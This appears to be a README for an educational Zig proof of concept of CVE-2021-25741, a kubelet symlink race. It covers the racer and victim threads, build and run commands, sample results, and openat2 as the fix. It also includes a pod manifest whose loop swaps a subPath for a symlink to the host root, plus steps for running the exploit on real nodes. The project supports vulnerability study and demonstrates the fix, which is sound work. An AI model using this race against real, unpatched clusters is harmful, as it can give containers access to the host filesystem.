
إثبات المفهوم لـ CVE-2021-25741 في Zig
استغلال تعليمي لشرط السباق TOCTOU (Time Of Check, Time Of Use) الذي يقع في أصل CVE-2021-25741، وهو ثغرة في kubelet الخاص بـ Kubernetes.
يبيّن المشروع محليًا (بدون عنقود K8s) كيف يمكن لتبديل متزامن للروابط الرمزية تجاوز فحص المسار بين lstat() وopen()، ويثبت أن openat2() مع أعلام RESOLVE_* هو الحل.
عندما يقوم النواة بتحليل مسار مثل /a/b/c/file، فإنه يفعل ذلك مكوّنًا مكوّنًا. في كل خطوة، إذا كان المكوّن رابطًا رمزيًا، فإن النواة تتبعه تلقائيًا. هذا التحليل ليس ذريًا — يمكن لنظام الملفات أن يتغير بين خطوتين.
كان kubelet الخاص بـ Kubernetes يتبع هذا النمط الضعيف تمامًا:
1. CHECK : lstat(subPath) → "c'est un répertoire, c'est safe"
↕ FENÊTRE DE RACE — un process dans le container swap le répertoire pour un symlink
2. USE : mount(subPath) → suit le symlink, monte le filesystem host
بين الفحص والتركيب، كان بإمكان عملية خبيثة داخل الحاوية استبدال subPath برابط رمزي يؤدي إلى / الخاص بالمضيف، وبالتالي الحصول على وصول كامل إلى نظام ملفات المضيف.
استدعاء النظام openat2 (نواة 5.6+) يحل المسار و يفتح الملف بشكل ذري، مع قيود:
| Flag |
|---|
مع openat2، لا توجد نافذة TOCTOU: إذا ظهر رابط رمزي أثناء التحليل، يفشل استدعاء النظام فورًا.
يتعاون خيطان لاستغلال نافذة TOCTOU:
workdir/
├── legit_dir/
│ └── secret.txt → contient "LEGIT"
├── symlink_target/
│ └── secret.txt → contient "PWNED"
└── target/ → swappé entre vrai dir et symlink
يعمل في حلقة فائقة السرعة ويبدّل target/ ذريًا بين حالتين عبر renameat2(RENAME_EXCHANGE):
target/ هو مجلد حقيقي (يحتوي على secret.txt = "LEGIT")target/ هو رابط رمزي إلى symlink_target/ (يحتوي على secret.txt = "PWNED")استدعاء نظام واحد فقط لكل تبديل = أقصى نافذة سباق.
يعيد إنتاج النمط الضعيف الخاص بـ kubelet:
fstatat("target", AT_SYMLINK_NOFOLLOW) — يتحقق من أنه مجلدopenat(dirfd, "target/secret.txt", O_RDONLY) — يفتح الملفread() — يقرأ المحتوى"PWNED" → فوز بالسباق (تم اتباع الرابط الرمزي)"LEGIT" → خسارة السباق (كان بالفعل المجلد الحقيقي)في الوضع المحمي (--use-openat2)، تستخدم الخطوة 3 openat2 مع RESOLVE_NO_SYMLINKS | RESOLVE_BENEATH. إذا وُجد رابط رمزي، يعيد النواة ELOOP بدلاً من اتباعه.
src/
├── main.zig # Point d'entrée : parse CLI, crée le shared state, spawn les
│ # threads, mesure le temps, affiche les résultats
│
├── racer.zig # Thread racer : prépare l'état initial (target → symlink),
│ # puis boucle sur renameat2(RENAME_EXCHANGE) pour swapper
│ # target/ et legit_dir/ en continu
│
├── victim.zig # Thread victim : boucle N itérations de fstatat → delay →
│ # openat/openat2 → read → compare "LEGIT" vs "PWNED"
│
├── setup.zig # Crée l'arborescence de test : workdir/, legit_dir/,
│ # symlink_target/, target/ avec les fichiers sentinel
│
├── syscalls.zig # Constantes et wrappers pour les syscalls raw :
│ # - open_how struct (kernel UAPI, 3×u64)
│ # - RESOLVE_* flags
│ # - RENAME_EXCHANGE (= 2)
│ # - openat2() via linux.syscall4(.openat2, ...)
│ # - rename_exchange() via linux.renameat2()
│ # - Helpers : is_err(), to_errno(), to_fd()
│
└── stats.zig # Compteurs atomiques lock-free (std.atomic.Value(u64))
# pour wins, losses, errors, eloop + affichage formaté
تُستدعى جميع استدعاءات النظام عبر std.os.linux.* مباشرة (بدون مغلفات std.fs أو std.posix). استدعاء النظام الوحيد بدون مغلف في مكتبة Zig 0.15 المعيارية هو openat2، ونستدعيه عبر linux.syscall4(.openat2, ...) مع بنية open_how معرّفة يدويًا من ترويسات UAPI الخاصة بالنواة.
| الأداة | الإصدار | السبب |
|---|---|---|
| Zig | 0.15.x | المترجم + الترجمة المتقاطعة |
تُجمَّع الثنائي بشكل ثابت (مكتبة musl) ويعمل على أي Linux دون تبعيات.
Kernel minimum:
renameat2(RENAME_EXCHANGE)openat2 مع RESOLVE_* (ضروري فقط لـ --use-openat2)يستخدم Docker Desktop و colima على Mac نواة 6.x — كل شيء مدعوم.
# ARM64 (Mac M1/M2/M3 → Docker colima / EC2 ARM)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe
# x86_64 (pour des nodes x86)
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe
الثنائي موجود في zig-out/bin/race-exploit.
$ file zig-out/bin/race-exploit
ELF 64-bit LSB executable, ARM aarch64, statically linked
# Démarrer le runtime Docker (si macOS)
colima start
# Lancer l'exploit (mode vulnérable par défaut)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine /app/race-exploit --iterations 10000
# Mode vulnérable (openat) — la race fonctionne
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 10000
# Mode protégé (openat2) — la race est bloquée
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 10000 --use-openat2
أو مع السكربت الذي يشغّل كليهما:
./scripts/run_in_docker.sh --iterations 10000
تضيف المعلمة --delay-us تأخيرًا بين lstat (الفحص) وopenat (الاستخدام). كلما زاد التأخير، اتسعت نافذة TOCTOU، وزاد معدل الفوز:
# Sans délai — win rate ~25%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 50000
# 10µs — win rate ~35%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 50000 --delay-us 10
# 100µs — win rate ~50%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 50000 --delay-us 100
# 1000µs (1ms) — win rate ~50% (plafonné, le racer swap bien plus vite)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 10000 --delay-us 1000
في kubelet حقيقي، يكون الكمون بين التحقق من subPath والتركيب bind mount في حدود عدة ميلي ثانية (استدعاءات API، تحضير مساحة أسماء mount، وما إلى ذلك)، مما يجعل السباق موثوقًا جدًا في الظروف الحقيقية.
race-exploit [options]
--iterations N Nombre de tentatives (défaut: 10000)
--delay-us N Microsecondes entre lstat et open (défaut: 0)
--use-openat2 Utiliser openat2 avec RESOLVE_* (mode protégé)
--workdir PATH Répertoire de travail (défaut: /tmp/race-workdir)
--help Afficher l'aide
لا يحتاج الاستغلال إلى Kubernetes ليعمل — فهو شرط سباق Linux أساسي. لكن يمكنك تشغيله على عقدة حقيقية للاختبار في نفس الظروف التي يعمل فيها kubelet.
# Cross-compiler pour l'architecture du node
# ARM64 (EKS avec Graviton, GKE avec T2A, etc.)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe
# ou x86_64
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe
# Copier le binaire sur le node
scp zig-out/bin/race-exploit user@node:/tmp/
# Lancer sur le node
ssh user@node /tmp/race-exploit --iterations 50000 --delay-us 100
# Vérifier la version du kernel (>= 5.6 pour openat2)
ssh user@node uname -r
إنشاء pod يحمل الثنائي ويشغّله:
# race-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: race-exploit
spec:
containers:
- name: race
image: alpine:latest
command: ["/app/race-exploit"]
args: ["--iterations", "50000", "--delay-us", "100"]
volumeMounts:
- name: exploit-bin
mountPath: /app
volumes:
- name: exploit-bin
hostPath:
path: /tmp # le binaire doit être copié ici au préalable
restartPolicy: Never
# Copier le binaire sur le node d'abord
kubectl cp zig-out/bin/race-exploit <node>:/tmp/race-exploit
# Lancer le pod
kubectl apply -f race-pod.yaml
kubectl logs race-exploit
لإعادة إنتاج السيناريو الدقيق لـ CVE-2021-25741، يجب استغلال السباق بينما يحضّر kubelet تركيب bind mount لمجلد مع subPath:
# vulnerable-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: subpath-race
spec:
containers:
- name: attacker
image: alpine:latest
command: ["/bin/sh", "-c"]
args:
- |
# Ce script tourne dans le container et swap le subPath
# pendant que le kubelet prépare le mount
while true; do
rm -rf /vol/subdir
ln -s / /vol/subdir
mkdir -p /vol/subdir
done
volumeMounts:
- name: shared-vol
mountPath: /vol
subPath: subdir # ← le kubelet vérifie puis monte ce chemin
volumes:
- name: shared-vol
emptyDir: {}
مهم: لا يعمل هذا الهجوم إلا على kubelets غير مصححة (إصدارات < 1.22.2، < 1.21.5، < 1.20.11). تستخدم kubelets الحديثة openat2 مع RESOLVE_NO_SYMLINKS لتحليل subPath.
للتحقق مما إذا كان kubelet الخاص بك عرضة للثغرة:
# Version du kubelet
kubectl get nodes -o wide
# Vérifier si openat2 est utilisé dans le kubelet (sur le node)
ssh user@node strace -f -e trace=openat2 -p $(pidof kubelet) 2>&1 | head -20
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode: openat (vulnerable)
Iterations: 10000
Delay: 0us
---
Results:
Total attempts: 3749
Race wins: 940 (25.07%)
Race losses: 2809 (74.93%)
Errors: 0 (0.00%)
Duration: 14ms
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode: openat2 (protected)
Iterations: 10000
Delay: 0us
---
Results:
Total attempts: 3105
Race wins: 0 (0.00%)
Race losses: 2283 (73.53%)
Errors: 0 (0.00%)
ELOOP (blocked): 822 (26.47%)
Duration: 12ms
ملاحظات رئيسية:
lstat رابطًا رمزيًا ولا يحاول الفتح)openat، تنجح حوالي 25% من المحاولات بفوز (يتم قراءة الملف "PWNED")openat2، 0% من الفوز — كل محاولة قام فيها racer بالتبديل يكتشفها النواة ويعيد ELOOPيعرّف الملف الثوابت المفقودة في مكتبة Zig 0.15 المعيارية:
// renameat2(2) : swap atomique de deux entrées filesystem
pub const RENAME_EXCHANGE: u32 = 2;
// openat2(2) : struct passée au syscall
pub const open_how = extern struct {
flags: u64 = 0, // O_RDONLY, O_WRONLY, etc.
mode: u64 = 0, // permissions (si O_CREAT)
resolve: u64 = 0, // RESOLVE_* flags
};
// Flags de résolution pour open_how.resolve
pub const RESOLVE_NO_SYMLINKS: u64 = 0x04; // refuse tout symlink
pub const RESOLVE_BENEATH: u64 = 0x08; // interdit de remonter au-dessus du dirfd
يُستدعى openat2 عبر linux.syscall4(.openat2, ...) لأن Zig 0.15 يحتوي على رقم استدعاء النظام ولكن بدون مغلف.
عند بدء التشغيل، يحوّل target/ إلى رابط رمزي نحو symlink_target/، ثم يكرر عمليتي renameat2(RENAME_EXCHANGE) تبدّلان target وlegit_dir:
Itération 1: target=dir, legit_dir=symlink ← victim voit un dir, ouvre normalement
Itération 2: target=symlink, legit_dir=dir ← victim suit le symlink → PWNED
يعيد إنتاج lstat → تأخير → openat/openat2 → read → مقارنة. تُحتسب النتائج في عدادات ذرية خالية من الأقفال (fetchAdd مع ترتيب .monotonic).
ينشئ الشجرة باستخدام mkdirat وopenat(O_CREAT) وwrite — كلها عبر استدعاءات نظام خام. ملفا sentinel: "LEGIT" في المجلد الحقيقي، و"PWNED" في هدف الرابط الرمزي.
# Tracer tous les syscalls des deux threads
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
strace -f /app/race-exploit --iterations 100
# Filtrer les syscalls intéressants
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
strace -f -e trace=openat,renameat2,symlinkat,newfstatat \
/app/race-exploit --iterations 100
# Voir les ELOOP de openat2
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
strace -f -e trace=openat2 \
/app/race-exploit --iterations 100 --use-openat2
ملاحظة: strace غير مثبت افتراضيًا في Alpine. استخدم alpine:edge أو ثبّته باستخدام apk add strace:
docker run --rm -v $(pwd)/zig-out/bin:/app alpine:edge \
sh -c "apk add --no-cache strace && strace -f -e trace=openat,renameat2 /app/race-exploit --iterations 100"
| التأثير |
|---|
RESOLVE_NO_SYMLINKS | يرفض اتباع أي رابط رمزي → يعيد ELOOP |
RESOLVE_BENEATH | يرفض الخروج من المجلد الأساسي → يعيد EXDEV |
RESOLVE_IN_ROOT | يتعامل مع dirfd كجذر لنظام الملفات |
RESOLVE_NO_XDEV | يرفض عبور نقاط التركيب |
| Docker | أي إصدار | لتنفيذ ثنائي Linux على Mac |
| colima | أي إصدار | بيئة تشغيل Docker على macOS (أو Docker Desktop) |
| استدعاء النظام | الدور في الاستغلال | مغلف Zig |
|---|
renameat2(RENAME_EXCHANGE) | تبديل ذري target ↔ legit_dir | linux.renameat2() |
fstatat(AT_SYMLINK_NOFOLLOW) | lstat: يتحقق مما إذا كان target مجلدًا أم رابطًا رمزيًا | linux.fstatat() |
openat(O_RDONLY) | يفتح الملف متبعًا الروابط الرمزية (ضعيف) | linux.openat() |
openat2(RESOLVE_NO_SYMLINKS) | يفتح الملف رافضًا الروابط الرمزية (إصلاح) | linux.syscall4(.openat2, ...) |
symlinkat | ينشئ الرابط الرمزي الأولي target → symlink_target | linux.symlinkat() |
unlinkat | يحذف target قبل إعادة إنشائه كرابط رمزي | linux.unlinkat() |
mkdirat | ينشئ مجلدات الاختبار | linux.mkdirat() |
read / write / close | إدخال/إخراج على ملفات sentinel | linux.read() / linux.write() / linux.close() |